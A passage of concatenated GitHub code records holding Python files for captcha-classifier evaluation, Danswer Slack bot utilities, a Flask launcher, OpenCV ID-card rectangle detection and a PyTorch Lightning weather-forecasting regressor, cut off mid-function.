self.getImagePixel(divide_image)\n \n # 得到测试label\n def getTestLabel(self, is_divide = 0):\n if not is_divide:\n now_label_size = LABEL_SIZE\n else:\n now_label_size = DIVIDE_LABEL_SIZE\n self.test_labels = np.zeros((self.test_num, now_label_size))\n\n fp = open(TEST_PATH + 'result.txt')\n row = 0\n for line in fp.readlines():\n now_line = str(line).strip()\n if not is_divide:\n col_labels = np.zeros((1, now_label_size))\n for i in range(CAPTCHA_LENGTH):\n if str.isdigit(str(now_line[i])):\n col_labels[0, i * CAPTCHA_CLASS + int(str(now_line[i]))] = 1\n else:\n col_labels[0, i * CAPTCHA_CLASS + ord(str(now_line[i])) - 87] = 1\n self.test_labels[row, :] = col_labels\n row += 1\n else:\n for i in range(CAPTCHA_LENGTH):\n col_labels = np.zeros((1, now_label_size))\n if str.isdigit(str(now_line[i])):\n col_labels[0, int(str(now_line[i]))] = 1\n else:\n col_labels[0, ord(str(now_line[i])) - 87] = 1\n self.test_labels[row, :] = col_labels\n row += 1\n \n # 加载训练模型\n def loadModel(self):\n model_list = os.listdir(MODEL_PATH)\n meta_path = MODEL_PATH\n now_model_path = MODEL_PATH\n for x in model_list:\n if str(x)[-5:] == '.meta':\n meta_path += str(x)\n now_model_path += str(x)[:-5]\n break\n\n new_saver = tf.train.import_meta_graph(meta_path)\n new_saver.restore(SESS, now_model_path)\n\n self.test_y = tf.get_collection('pred_network')[0]\n\n graph = tf.get_default_graph()\n\n self.test_x = graph.get_operation_by_name('features').outputs[0]\n self.test_keep_prob = graph.get_operation_by_name('keep_prob').outputs[0]\n\n # 测试\n def Test(self, is_divide = 0):\n self.getTestFeature(is_divide)\n self.getTestLabel(is_divide)\n self.loadModel()\n\n if not is_divide:\n feature_size = IMAGE_SIZE\n label_size = LABEL_SIZE\n loop_num = self.test_num\n else:\n feature_size = DIVIDE_IMAGE_SIZE\n label_size = DIVIDE_LABEL_SIZE\n loop_num = self.test_num // CAPTCHA_LENGTH\n\n true_num = 0\n total_num = 0\n for i in range(loop_num):\n if not is_divide:\n res = SESS.run(self.test_y, feed_dict = {self.test_x: self.test_feature[i, :].reshape(1, feature_size), self.test_keep_prob: 1.})\n pred_res = self.getPredictResult(res[0].reshape(1, label_size))\n true_res = self.bitsToResult(self.test_labels[i, :].reshape(1, label_size))\n else:\n pred_res, true_res = \"\", \"\"\n for j in range(CAPTCHA_LENGTH):\n res = SESS.run(self.test_y, feed_dict = {self.test_x: self.test_feature[i * CAPTCHA_LENGTH + j, :].reshape(1, feature_size), self.test_keep_prob: 1.})\n pred_res += self.getDividePredictResult(res[0].reshape(1, label_size))\n true_res += self.bitsToResultDivide(self.test_labels[i * CAPTCHA_LENGTH + j, :].reshape(1, label_size))\n\n print(\"正确结果:%s\\t预测结果:%s\\t\"%(true_res, pred_res), end = \"\")\n if pred_res == true_res:\n true_num += 1\n print(\" 正确\")\n else:\n print(\" 错误\")\n total_num += 1\n print(\"正确率:\", true_num / total_num)\n\n\nif __name__ == '__main__':\n train_nn = CaptchaTensorFlow()\n choice = input(\"1、Train\\n2、Test\\n\")\n if choice == '1':\n train_nn.train(is_divide = 1)\n else:\n train_nn.Test(is_divide = 1)","repo_name":"Frostmoune/Captcha","sub_path":"Captcha_tensorflow.py","file_name":"Captcha_tensorflow.py","file_ext":"py","file_size_in_byte":18302,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"82"} +{"seq_id":"13843433602","text":"import logging\nimport random\nimport re\nimport string\nfrom collections.abc import MutableMapping\nfrom typing import Any\nfrom typing import cast\n\nfrom retry import retry\nfrom slack_sdk import WebClient\nfrom slack_sdk.errors import SlackApiError\nfrom slack_sdk.models.blocks import Block\nfrom slack_sdk.models.metadata import Metadata\n\nfrom danswer.configs.constants import ID_SEPARATOR\nfrom danswer.configs.constants import MessageType\nfrom danswer.configs.danswerbot_configs import DANSWER_BOT_NUM_RETRIES\nfrom danswer.connectors.slack.utils import make_slack_api_rate_limited\nfrom danswer.connectors.slack.utils import SlackTextCleaner\nfrom danswer.danswerbot.slack.constants import SLACK_CHANNEL_ID\nfrom danswer.danswerbot.slack.tokens import fetch_tokens\nfrom danswer.one_shot_answer.models import ThreadMessage\nfrom danswer.utils.logger import setup_logger\nfrom danswer.utils.text_processing import replace_whitespaces_w_space\n\nlogger = setup_logger()\n\n\nDANSWER_BOT_APP_ID: str | None = None\n\n\ndef get_danswer_bot_app_id(web_client: WebClient) -> Any:\n global DANSWER_BOT_APP_ID\n if DANSWER_BOT_APP_ID is None:\n DANSWER_BOT_APP_ID = web_client.auth_test().get(\"user_id\")\n return DANSWER_BOT_APP_ID\n\n\ndef remove_danswer_bot_tag(message_str: str, client: WebClient) -> str:\n bot_tag_id = get_danswer_bot_app_id(web_client=client)\n return re.sub(rf\"<@{bot_tag_id}>\\s\", \"\", message_str)\n\n\nclass ChannelIdAdapter(logging.LoggerAdapter):\n \"\"\"This is used to add the channel ID to all log messages\n emitted in this file\"\"\"\n\n def process(\n self, msg: str, kwargs: MutableMapping[str, Any]\n ) -> tuple[str, MutableMapping[str, Any]]:\n channel_id = self.extra.get(SLACK_CHANNEL_ID) if self.extra else None\n if channel_id:\n return f\"[Channel ID: {channel_id}] {msg}\", kwargs\n else:\n return msg, kwargs\n\n\ndef get_web_client() -> WebClient:\n slack_tokens = fetch_tokens()\n return WebClient(token=slack_tokens.bot_token)\n\n\n@retry(\n tries=DANSWER_BOT_NUM_RETRIES,\n delay=0.25,\n backoff=2,\n logger=cast(logging.Logger, logger),\n)\ndef respond_in_thread(\n client: WebClient,\n channel: str,\n thread_ts: str | None,\n text: str | None = None,\n blocks: list[Block] | None = None,\n receiver_ids: list[str] | None = None,\n metadata: Metadata | None = None,\n unfurl: bool = True,\n) -> None:\n if not text and not blocks:\n raise ValueError(\"One of `text` or `blocks` must be provided\")\n\n if not receiver_ids:\n slack_call = make_slack_api_rate_limited(client.chat_postMessage)\n else:\n slack_call = make_slack_api_rate_limited(client.chat_postEphemeral)\n\n if not receiver_ids:\n response = slack_call(\n channel=channel,\n text=text,\n blocks=blocks,\n thread_ts=thread_ts,\n metadata=metadata,\n unfurl_links=unfurl,\n unfurl_media=unfurl,\n )\n if not response.get(\"ok\"):\n raise RuntimeError(f\"Failed to post message: {response}\")\n else:\n for receiver in receiver_ids:\n response = slack_call(\n channel=channel,\n user=receiver,\n text=text,\n blocks=blocks,\n thread_ts=thread_ts,\n metadata=metadata,\n unfurl_links=unfurl,\n unfurl_media=unfurl,\n )\n if not response.get(\"ok\"):\n raise RuntimeError(f\"Failed to post message: {response}\")\n\n\ndef build_feedback_id(\n message_id: int,\n document_id: str | None = None,\n document_rank: int | None = None,\n) -> str:\n unique_prefix = \"\".join(random.choice(string.ascii_letters) for _ in range(10))\n if document_id is not None:\n if not document_id or document_rank is None:\n raise ValueError(\"Invalid document, missing information\")\n if ID_SEPARATOR in document_id:\n raise ValueError(\n \"Separator pattern should not already exist in document id\"\n )\n feedback_id = ID_SEPARATOR.join(\n [str(message_id), document_id, str(document_rank)]\n )\n else:\n feedback_id = str(message_id)\n\n return unique_prefix + ID_SEPARATOR + feedback_id\n\n\ndef decompose_feedback_id(feedback_id: str) -> tuple[int, str | None, int | None]:\n \"\"\"Decompose into query_id, document_id, document_rank, see above function\"\"\"\n try:\n components = feedback_id.split(ID_SEPARATOR)\n if len(components) != 2 and len(components) != 4:\n raise ValueError(\"Feedback ID does not contain right number of elements\")\n\n if len(components) == 2:\n return int(components[-1]), None, None\n\n return int(components[1]), components[2], int(components[3])\n\n except Exception as e:\n logger.error(e)\n raise ValueError(\"Received invalid Feedback Identifier\")\n\n\ndef get_view_values(state_values: dict[str, Any]) -> dict[str, str]:\n \"\"\"Extract view values\n\n Args:\n state_values (dict): The Slack view-submission values\n\n Returns:\n dict: keys/values of the view state content\n \"\"\"\n view_values = {}\n for _, view_data in state_values.items():\n for k, v in view_data.items():\n if (\n \"selected_option\" in v\n and isinstance(v[\"selected_option\"], dict)\n and \"value\" in v[\"selected_option\"]\n ):\n view_values[k] = v[\"selected_option\"][\"value\"]\n elif \"selected_options\" in v and isinstance(v[\"selected_options\"], list):\n view_values[k] = [\n x[\"value\"] for x in v[\"selected_options\"] if \"value\" in x\n ]\n elif \"selected_date\" in v:\n view_values[k] = v[\"selected_date\"]\n elif \"value\" in v:\n view_values[k] = v[\"value\"]\n return view_values\n\n\ndef translate_vespa_highlight_to_slack(match_strs: list[str], used_chars: int) -> str:\n def _replace_highlight(s: str) -> str:\n s = re.sub(r\"(?<=[^\\s])(.*?)\", r\"\\1\", s)\n s = s.replace(\"\", \"*\").replace(\"\", \"*\")\n return s\n\n final_matches = [\n replace_whitespaces_w_space(_replace_highlight(match_str)).strip()\n for match_str in match_strs\n if match_str\n ]\n combined = \"... \".join(final_matches)\n\n # Slack introduces \"Show More\" after 300 on desktop which is ugly\n # But don't trim the message if there is still a highlight after 300 chars\n remaining = 300 - used_chars\n if len(combined) > remaining and \"*\" not in combined[remaining:]:\n combined = combined[: remaining - 3] + \"...\"\n\n return combined\n\n\ndef remove_slack_text_interactions(slack_str: str) -> str:\n slack_str = SlackTextCleaner.replace_tags_basic(slack_str)\n slack_str = SlackTextCleaner.replace_channels_basic(slack_str)\n slack_str = SlackTextCleaner.replace_special_mentions(slack_str)\n slack_str = SlackTextCleaner.replace_links(slack_str)\n slack_str = SlackTextCleaner.replace_special_catchall(slack_str)\n slack_str = SlackTextCleaner.add_zero_width_whitespace_after_tag(slack_str)\n return slack_str\n\n\ndef get_channel_from_id(client: WebClient, channel_id: str) -> dict[str, Any]:\n response = client.conversations_info(channel=channel_id)\n response.validate()\n return response[\"channel\"]\n\n\ndef get_channel_name_from_id(\n client: WebClient, channel_id: str\n) -> tuple[str | None, bool]:\n try:\n channel_info = get_channel_from_id(client, channel_id)\n name = channel_info.get(\"name\")\n is_dm = any([channel_info.get(\"is_im\"), channel_info.get(\"is_mpim\")])\n return name, is_dm\n except SlackApiError as e:\n logger.exception(f\"Couldn't fetch channel name from id: {channel_id}\")\n raise e\n\n\ndef fetch_userids_from_emails(user_emails: list[str], client: WebClient) -> list[str]:\n user_ids: list[str] = []\n for email in user_emails:\n try:\n user = client.users_lookupByEmail(email=email)\n user_ids.append(user.data[\"user\"][\"id\"]) # type: ignore\n except Exception:\n logger.error(f\"Was not able to find slack user by email: {email}\")\n\n if not user_ids:\n raise RuntimeError(\n \"Was not able to find any Slack users to respond to. \"\n \"No email was parsed into a valid slack account.\"\n )\n\n return user_ids\n\n\ndef fetch_user_semantic_id_from_id(user_id: str, client: WebClient) -> str | None:\n response = client.users_info(user=user_id)\n if not response[\"ok\"]:\n return None\n\n user: dict = cast(dict[Any, dict], response.data).get(\"user\", {})\n\n return (\n user.get(\"real_name\")\n or user.get(\"name\")\n or user.get(\"profile\", {}).get(\"email\")\n )\n\n\ndef read_slack_thread(\n channel: str, thread: str, client: WebClient\n) -> list[ThreadMessage]:\n thread_messages: list[ThreadMessage] = []\n response = client.conversations_replies(channel=channel, ts=thread)\n replies = cast(dict, response.data).get(\"messages\", [])\n for reply in replies:\n if \"user\" in reply and \"bot_id\" not in reply:\n message = remove_danswer_bot_tag(reply[\"text\"], client=client)\n user_sem_id = fetch_user_semantic_id_from_id(reply[\"user\"], client)\n message_type = MessageType.USER\n else:\n self_app_id = get_danswer_bot_app_id(client)\n\n # Only include bot messages from Danswer, other bots are not taken in as context\n if self_app_id != reply.get(\"user\"):\n continue\n\n blocks = reply[\"blocks\"]\n if len(blocks) <= 1:\n continue\n\n # The useful block is the second one after the header block that says AI Answer\n message = reply[\"blocks\"][1][\"text\"][\"text\"]\n\n if message.startswith(\"_Filters\"):\n if len(blocks) <= 2:\n continue\n message = reply[\"blocks\"][2][\"text\"][\"text\"]\n\n user_sem_id = \"Assistant\"\n message_type = MessageType.ASSISTANT\n\n thread_messages.append(\n ThreadMessage(message=message, sender=user_sem_id, role=message_type)\n )\n\n return thread_messages\n","repo_name":"hongjingzhou/danswer","sub_path":"backend/danswer/danswerbot/slack/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":10297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"82"} +{"seq_id":"28895304228","text":"#!/usr/bin/python\nimport sys\nfrom ui import app\n\nif __name__ == '__main__':\n host = \"127.0.0.1\"\n port = 8080\n bDebug = True\n \n if len(sys.argv) > 1:\n host = str(sys.argv[1])\n bDebug = False\n if len(sys.argv) > 2:\n port = int(sys.argv[2])\n if len(sys.argv) > 3:\n if int(sys.argv[3]):\n bDebug = True\n \n app.run(host=host, port=port, debug=bDebug, use_reloader=bDebug, threaded=True)\n\n","repo_name":"ppiech/minezy_proto","sub_path":"minezy_app/run_ui.py","file_name":"run_ui.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"82"} +{"seq_id":"40818602781","text":"import numpy as np\nimport imutils\nimport cv2\nimport pytesseract\n\nimage_paths = [\n\t\"../../resources/img/nid1.jpg\",\n\t\"../../resources/img/nid2.jpg\",\n\t\"../../resources/img/nid3.jpg\",\n\t\"../../resources/img/nid4.jpg\",\n\t\"../../resources/img/nid5.jpg\",\n\t\"../../resources/img/nid6.jpg\",\n\t\"../../resources/img/nid7.jpg\",\n\t\"../../resources/img/nid8.jpg\",\n]\nori_img = cv2.imread(image_paths[0])\n\nif ori_img is None:\n\texit(0)\n\nori_img = imutils.resize(ori_img, width=1024)\nori_img = cv2.GaussianBlur(ori_img, (5, 5), 0)\nori_gray = cv2.cvtColor(ori_img, cv2.COLOR_BGR2GRAY)\n\nimg_bin = cv2.threshold(ori_gray, 200, 255, cv2.THRESH_BINARY)[1]\nimg_bin = 255 - img_bin # Invert the image\n\nkernel = cv2.getStructuringElement(cv2.MORPH_RECT, (3, 3))\nimg_bin = cv2.dilate(img_bin, kernel, iterations=2)\nimg_bin = cv2.erode(img_bin, kernel, iterations=2)\nimg_bin = cv2.dilate(img_bin, kernel, iterations=4)\nimg_bin = cv2.erode(img_bin, kernel, iterations=3)\n\ncnts = cv2.findContours(img_bin.copy(), cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)[-2]\ncnts = sorted(cnts, key=cv2.contourArea, reverse=True)\n\nrois = []\nfor cnt in cnts:\n\t(x, y, w, h) = cv2.boundingRect(cnt)\n\tar = w / float(h)\n\tcrWidth = w / float(img_bin.shape[1])\n\t\n\tif 100 < w and 100 < h :\n\t\t# rois.append(ori_gray[y:y + h, x: x + w])\n\t\tprint(x, y, w, h)\n\t\tcv2.rectangle(img_bin, (x, y), (x + w, y + h), (0, 0), 5)\n\telif 800 < w < 950 and 380 < h < 420:\n\t\t# cv2.rectangle(img_bin, (x, y), (x + w, y + h), (0, 0), 5)\n\t\trois.append(ori_gray[y:y + h, x: x + w])\n\nif rois is not None and len(rois) > 0:\n\tfinal_img = rois[0].copy()\n\t# img_bin = cv2.equalizeHist(img_bin)\n\tcv2.imshow(\"final_img\", final_img)\nelse:\n\tlines = cv2.HoughLinesP(img_bin.copy(), 1, np.pi / 180, 180, minLineLength=200, maxLineGap=15)\n\tif lines is not None:\n\t\tfor line in lines:\n\t\t\tx1, y1, x2, y2 = line[0]\n\t\t\tif x2 - x1 > 400 and y2 - y1 < 50:\n\t\t\t\tcv2.line(img_bin, (x1, y1), (x2, y2), (255, 255), 5)\n\t\t\telif y2 - y1 > 200 and x2 - x1 < 50:\n\t\t\t\tcv2.line(img_bin, (x1, y1), (x2, y2), (255, 255), 5)\n\ncv2.imshow(\"hist_eq_img\", img_bin)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\nexit(0)\n\n# redundant functions\n\n# kernel_x = cv2.getStructuringElement(cv2.MORPH_RECT, (25, 5))\n# square_kernel = cv2.getStructuringElement(cv2.MORPH_RECT, (2, 2))\n# img_bin = cv2.adaptiveThreshold(img_bin, 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY, 31, 2)\n# img_bin = cv2.Canny(img_bin, 50, 150)\n# img_bin = cv2.morphologyEx(img_bin, cv2.MORPH_CLOSE, kernel_y, iterations=4)\n# img_bin = cv2.morphologyEx(img_bin, cv2.MORPH_OPEN, kernel_y, iterations=2)\n\n# lines = cv2.HoughLinesP(img_bin.copy(), 1, np.pi / 180, 180, minLineLength=200, maxLineGap=10)\n# if lines is not None:\n# \tfor line in lines:\n# \t\tx1, y1, x2, y2 = line[0]\n# \t\tif x2 - x1 > 400 and y2 - y1 < 50:\n# \t\t\tcv2.line(ori_img, (x1, y1), (x2, y2), (0, 255, 0), 2)\n# \t\telif y2 - y1 > 200 and x2-x1 < 50:\n# \t\t\tcv2.line(ori_img, (x1, y1), (x2, y2), (0, 255, 0), 2)\n\n# cv2.imshow(\"img_thresh\", img_bin)\n# # cv2.imshow(\"ori_img\", ori_img)\n#\n","repo_name":"asmmahmud/python_opencv_image_manipulation","sub_path":"src/opencvtut/separating_rectangles_nid.py","file_name":"separating_rectangles_nid.py","file_ext":"py","file_size_in_byte":2994,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"81"} +{"seq_id":"6644866996","text":"import math\nfrom typing import Union, Tuple, List, Any, Dict\n\nimport numpy as np\nimport pandas as pd\nimport pytorch_lightning as pl\nimport torch\nfrom hydra.utils import instantiate\nfrom pytorch_lightning import LightningModule\nfrom pytorch_lightning.loggers.base import LoggerCollection\nfrom pytorch_lightning.loggers.wandb import WandbLogger\nfrom torchmetrics.regression.mean_absolute_error import MeanAbsoluteError\nfrom torch.optim.lr_scheduler import _LRScheduler\nfrom torchmetrics.regression.mean_squared_error import MeanSquaredError\nfrom pytorch_forecasting.metrics import MASE\nfrom rich import print\nfrom torch.nn import MSELoss, CrossEntropyLoss\nfrom torch.optim.optimizer import Optimizer\nfrom wandb.sdk.wandb_run import Run\n\nfrom wind_forecast.config.register import Config\nfrom wind_forecast.consts import BatchKeys\nfrom wind_forecast.util.gfs_util import add_param_to_train_params\n\n\nclass BaseS2SRegressor(pl.LightningModule):\n def __init__(self, cfg: Config) -> None:\n super().__init__() # type: ignore\n\n self.logger: Union[LoggerCollection, WandbLogger, Any]\n self.wandb: Run\n\n self.cfg = cfg\n\n self.model: LightningModule = instantiate(self.cfg.experiment.model, self.cfg)\n\n self.criterion = ...\n if cfg.optim.loss in [\"mse\", \"rmse\"]:\n self.criterion = MSELoss()\n elif cfg.optim.loss == \"cross\":\n self.criterion = CrossEntropyLoss()\n else:\n self.criterion = MSELoss()\n\n # Metrics\n self.train_mse = MeanSquaredError()\n self.train_mae = MeanAbsoluteError()\n self.train_mase = MASE()\n self.val_mse = MeanSquaredError()\n self.val_mae = MeanAbsoluteError()\n self.val_mase = MASE()\n self.test_mse = MeanSquaredError()\n self.test_mae = MeanAbsoluteError()\n self.test_mase = MASE()\n self.test_results = []\n self.categorical_experiment = self.cfg.experiment.categorical_experiment\n self.classes = self.cfg.experiment.classes\n train_params = self.cfg.experiment.synop_train_features\n target_param = self.cfg.experiment.target_parameter\n all_params = add_param_to_train_params(train_params, target_param)\n feature_names = list(list(zip(*all_params))[1])\n self.target_param_index = [x for x in feature_names].index(target_param)\n\n def get_dates_tensor(self, input_dates, target_dates):\n if self.cfg.experiment.use_time2vec:\n # put day of year and hour as min-max values, they will be embedded via time2vec in model\n input_embed = self.dates_to_min_max_tensor(input_dates)\n target_embed = self.dates_to_min_max_tensor(target_dates)\n else:\n input_embed = self.dates_to_sine_tensor(input_dates)\n target_embed = self.dates_to_sine_tensor(target_dates)\n\n return input_embed, target_embed\n\n def dates_to_min_max_tensor(self, dates):\n day_of_year_argument = (183 - np.array(\n [[[pd.to_datetime(d).timetuple().tm_yday] for d in sublist] for sublist in dates])) / 183\n hour_argument = (12 - np.array([[[pd.to_datetime(d).hour] for d in sublist] for sublist in dates])) / 12\n return torch.Tensor(np.concatenate([day_of_year_argument, hour_argument], -1)).to(self.device)\n\n def dates_to_sine_tensor(self, dates):\n day_of_year_argument = np.array([[[pd.to_datetime(d).timetuple().tm_yday] for d in sublist] for sublist in dates])\n hour_argument = np.array([[[pd.to_datetime(d).hour] for d in sublist] for sublist in dates])\n day_of_year_embed = day_of_year_argument / 365 * 2 * np.pi\n hour_embed = hour_argument / 24 * 2 * np.pi\n return torch.Tensor(np.concatenate([np.sin(day_of_year_embed), np.cos(day_of_year_embed),\n np.sin(hour_embed), np.cos(hour_embed)], axis=-1)).to(self.device)\n\n # -----------------------------------------------------------------------------------------------\n # Default PyTorch Lightning hooks\n # -----------------------------------------------------------------------------------------------\n def on_fit_start(self) -> None:\n \"\"\"\n Hook before `trainer.fit()`.\n\n Attaches current wandb run to `self.wandb`.\n \"\"\"\n if isinstance(self.logger, LoggerCollection):\n for logger in self.logger: # type: ignore\n if isinstance(logger, WandbLogger):\n self.wandb = logger.experiment # type: ignore\n elif isinstance(self.logger, WandbLogger):\n self.wandb = self.logger.experiment # type: ignore\n\n def on_save_checkpoint(self, checkpoint: Dict[str, Any]) -> None:\n \"\"\"\n Hook on checkpoint saving.\n\n Adds config and RNG states to the checkpoint file.\n \"\"\"\n checkpoint['cfg'] = self.cfg\n\n # ----------------------------------------------------------------------------------------------\n # Optimizers\n # ----------------------------------------------------------------------------------------------\n def configure_optimizers(self) -> Union[Optimizer, Tuple[List[Optimizer], List[_LRScheduler]]]: # type: ignore\n \"\"\"\n Define system optimization procedure.\n\n See https://pytorch-lightning.readthedocs.io/en/latest/common/lightning_module.html#configure-optimizers.\n\n Returns\n -------\n Union[Optimizer, Tuple[List[Optimizer], List[_LRScheduler]]]\n Single optimizer or a combination of optimizers with learning rate schedulers.\n \"\"\"\n\n if self.cfg.optim.optimizer._target_ == 'None':\n return None\n optimizer: Optimizer = instantiate(\n self.cfg.optim.optimizer,\n params=self.parameters(),\n lr=self.cfg.optim.base_lr,\n _convert_='all'\n )\n\n if self.cfg.optim.scheduler is not None:\n # if self.cfg.optim.scheduler._target_ == \"torch.optim.lr_scheduler.LambdaLR\":\n lambda_lr = instantiate(self.cfg.optim.lambda_lr,\n warmup_epochs=self.cfg.optim.warmup_epochs,\n decay_epochs=self.cfg.optim.decay_epochs,\n starting_lr=self.cfg.optim.starting_lr,\n base_lr=self.cfg.optim.base_lr,\n final_lr=self.cfg.optim.final_lr)\n\n scheduler: _LRScheduler = instantiate( # type: ignore\n self.cfg.optim.scheduler,\n optimizer=optimizer,\n lr_lambda=lambda epoch: lambda_lr.transformer_lr_scheduler(epoch),\n _convert_='all',\n verbose=True\n )\n\n print(optimizer, scheduler)\n return [optimizer], [scheduler]\n else:\n print(optimizer)\n return optimizer\n\n def _reduce(self, outputs: List[Any], key: str):\n return torch.stack([out[key] for out in outputs]).mean().detach()\n\n # ----------------------------------------------------------------------------------------------\n # Forward\n # ----------------------------------------------------------------------------------------------\n def forward(self, batch: Dict[str, torch.Tensor], epoch, stage) -> torch.Tensor:\n return self.model(batch, epoch, stage)\n\n # ----------------------------------------------------------------------------------------------\n # Loss\n # ----------------------------------------------------------------------------------------------\n def calculate_loss(self, outputs: torch.Tensor, targets: torch.Tensor) -> torch.Tensor:\n \"\"\"\n Compute loss value of a batch.\n\n In this simple case just forwards computation to default `self.criterion`.\n\n Parameters\n ----------\n outputs : torch.Tensor\n Network outputs with shape (batch_size, n_classes).\n targets : torch.Tensor\n Targets (ground-truth labels) with shape (batch_size).\n\n Returns\n -------\n torch.Tensor\n Loss value.\n \"\"\"\n if self.cfg.optim.loss == 'rmse':\n return torch.sqrt(self.criterion(outputs, targets))\n else:\n return self.criterion(outputs, targets)\n\n\n # ----------------------------------------------------------------------------------------------\n # Training\n # ----------------------------------------------------------------------------------------------\n def training_step(self, batch: Dict[str, torch.Tensor], batch_idx: int) -> Dict[str, torch.Tensor]:\n \"\"\"\n Train on a single batch with loss defined by `self.criterion`.\n\n Parameters\n ----------\n batch : Dict[str, torch.Tensor]\n Training batch.\n batch_idx : int\n Batch index.\n\n Returns\n -------\n dict[str, torch.Tensor]\n Metric values for a given batch.\n \"\"\"\n\n dates_inputs = batch[BatchKeys.DATES_PAST.value]\n dates_targets = batch[BatchKeys.DATES_FUTURE.value]\n dates_embeddings = self.get_dates_tensor(dates_inputs, dates_targets)\n batch[BatchKeys.DATES_TENSORS.value] = dates_embeddings\n\n outputs = self.forward(batch, self.current_epoch, 'fit').squeeze()\n past_targets = batch[BatchKeys.SYNOP_PAST_Y.value].float().squeeze()\n targets = batch[BatchKeys.SYNOP_FUTURE_Y.value].float().squeeze()\n if self.cfg.experiment.differential_forecast:\n targets = batch[BatchKeys.GFS_SYNOP_FUTURE_DIFF.value].float().squeeze()\n past_targets = batch[BatchKeys.GFS_SYNOP_PAST_DIFF.value].float().squeeze()\n if self.categorical_experiment:\n self.metrics_for_categorical_experiment(outputs, targets, past_targets, 'train')\n\n targets *= self.classes - 1\n past_targets *= self.classes - 1\n else:\n self.train_mse(outputs, targets)\n self.train_mae(outputs, targets)\n if len(targets.shape) == 1:\n self.train_mase(outputs.unsqueeze(0), targets.unsqueeze(0), past_targets.unsqueeze(0))\n else:\n self.train_mase(outputs, targets, past_targets)\n\n if self.cfg.optim.loss != 'mase':\n torch.use_deterministic_algorithms(False)\n if self.categorical_experiment:\n loss = self.calculate_loss(outputs.permute(0, 2, 1), targets.long())\n else:\n loss = self.calculate_loss(outputs, targets)\n torch.use_deterministic_algorithms(True)\n else:\n loss = MASE()\n loss = loss(outputs, targets, past_targets)\n\n if self.cfg.optim.optimizer._target_ == 'None':\n return None\n\n return {\n 'loss': loss\n # no need to return 'train_mse' here since it is always available as `self.train_mse`\n }\n\n def training_epoch_end(self, outputs: List[Any]) -> None:\n \"\"\"\n Log training metrics.\n\n Parameters\n ----------\n outputs : list[Any]\n List of dictionaries returned by `self.training_step` with batch metrics.\n \"\"\"\n step = self.current_epoch + 1\n\n metrics = {\n 'epoch': float(step),\n 'train_rmse': math.sqrt(float(self.train_mse.compute().item())),\n 'train_mae': float(self.train_mae.compute().item()),\n 'train_mase': float(self.train_mase.compute())\n }\n\n self.train_mse.reset()\n self.train_mae.reset()\n self.train_mase.reset()\n\n # Average additional metrics over all batches\n if len(outputs) > 0:\n for key in outputs[0]:\n metrics[key] = float(self._reduce(outputs, key).item())\n\n self.logger.log_metrics(metrics, step=step)\n\n # ----------------------------------------------------------------------------------------------\n # Validation\n # ----------------------------------------------------------------------------------------------\n def validation_step(self, batch: Dict[str, torch.Tensor], batch_idx: int) -> Dict[str, torch.Tensor]:\n \"\"\"\n Compute validation metrics.\n\n Parameters\n ----------\n batch : Dict[str, torch.Tensor]\n Validation batch.\n batch_idx : int\n Batch index.\n\n Returns\n -------\n dict[str, torch.Tensor]\n Metric values for a given batch.\n \"\"\"\n dates_inputs = batch[BatchKeys.DATES_PAST.value]\n dates_targets = batch[BatchKeys.DATES_FUTURE.value]\n dates_embeddings = self.get_dates_tensor(dates_inputs, dates_targets)\n batch[BatchKeys.DATES_TENSORS.value] = dates_embeddings\n\n outputs = self.forward(batch, self.current_epoch, 'test').squeeze()\n past_targets = batch[BatchKeys.SYNOP_PAST_Y.value].float().squeeze()\n targets = batch[BatchKeys.SYNOP_FUTURE_Y.value].float().squeeze()\n if self.cfg.experiment.differential_forecast:\n targets = batch[BatchKeys.GFS_SYNOP_FUTURE_DIFF.value].float().squeeze()\n past_targets = batch[BatchKeys.GFS_SYNOP_PAST_DIFF.value].float().squeeze()\n\n if self.categorical_experiment:\n self.metrics_for_categorical_experiment(outputs, targets, past_targets, \"val\")\n\n targets *= self.classes - 1\n past_targets *= self.classes - 1\n else:\n self.val_mse(outputs, targets)\n self.val_mae(outputs, targets)\n if len(targets.shape) == 1:\n self.val_mase(outputs.unsqueeze(0), targets.unsqueeze(0), past_targets.unsqueeze(0))\n else:\n self.val_mase(outputs, targets, past_targets)\n\n return {\n # 'additional_metric': ...\n # no need to return 'val_mse' here since it is always available as `self.val_mse`\n }\n\n def validation_epoch_end(self, outputs: List[Any]) -> None:\n \"\"\"\n Log validation metrics.\n\n Parameters\n ----------\n outputs : list[Any]\n List of dictionaries returned by `self.validation_step` with batch metrics.\n \"\"\"\n step = self.current_epoch + 1 if not self.trainer.sanity_checking else self.current_epoch # type: ignore\n\n metrics = {\n 'epoch': float(step),\n 'val_rmse': math.sqrt(float(self.val_mse.compute().item())),\n 'val_mae': float(self.val_mae.compute().item()),\n 'val_mase': float(self.val_mase.compute())\n }\n\n self.val_mse.reset()\n self.val_mae.reset()\n self.val_mase.reset()\n\n # Average additional metrics over all batches\n for key in outputs[0]:\n metrics[key] = float(self._reduce(outputs, key).item())\n\n self.logger.log_metrics(metrics, step=step)\n self.log(\"ptl/val_rmse\", metrics['val_rmse'])\n self.log(\"ptl/val_mase\", metrics['val_mase'])\n\n # ----------------------------------------------------------------------------------------------\n # Test\n # ----------------------------------------------------------------------------------------------\n def test_step(self, batch: Dict[str, torch.Tensor], batch_idx: int) -> Dict[str, torch.Tensor]:\n \"\"\"\n Compute test metrics.\n\n Parameters\n ----------\n batch : Batch\n Test batch.\n batch_idx : int\n Batch index.\n\n Returns\n -------\n dict[str, torch.Tensor]\n Metric values for a given batch.\n \"\"\"\n dates_inputs = batch[BatchKeys.DATES_PAST.value]\n dates_targets = batch[BatchKeys.DATES_FUTURE.value]\n dates_embeddings = self.get_dates_tensor(dates_inputs, dates_targets)\n batch[BatchKeys.DATES_TENSORS.value] = dates_embeddings\n\n outputs = self.forward(batch, self.current_epoch, 'test').squeeze()\n past_targets = batch[BatchKeys.SYNOP_PAST_Y.value].float().squeeze()\n targets = batch[BatchKeys.SYNOP_FUTURE_Y.value].float().squeeze()\n\n if self.cfg.experiment.differential_forecast:\n targets = 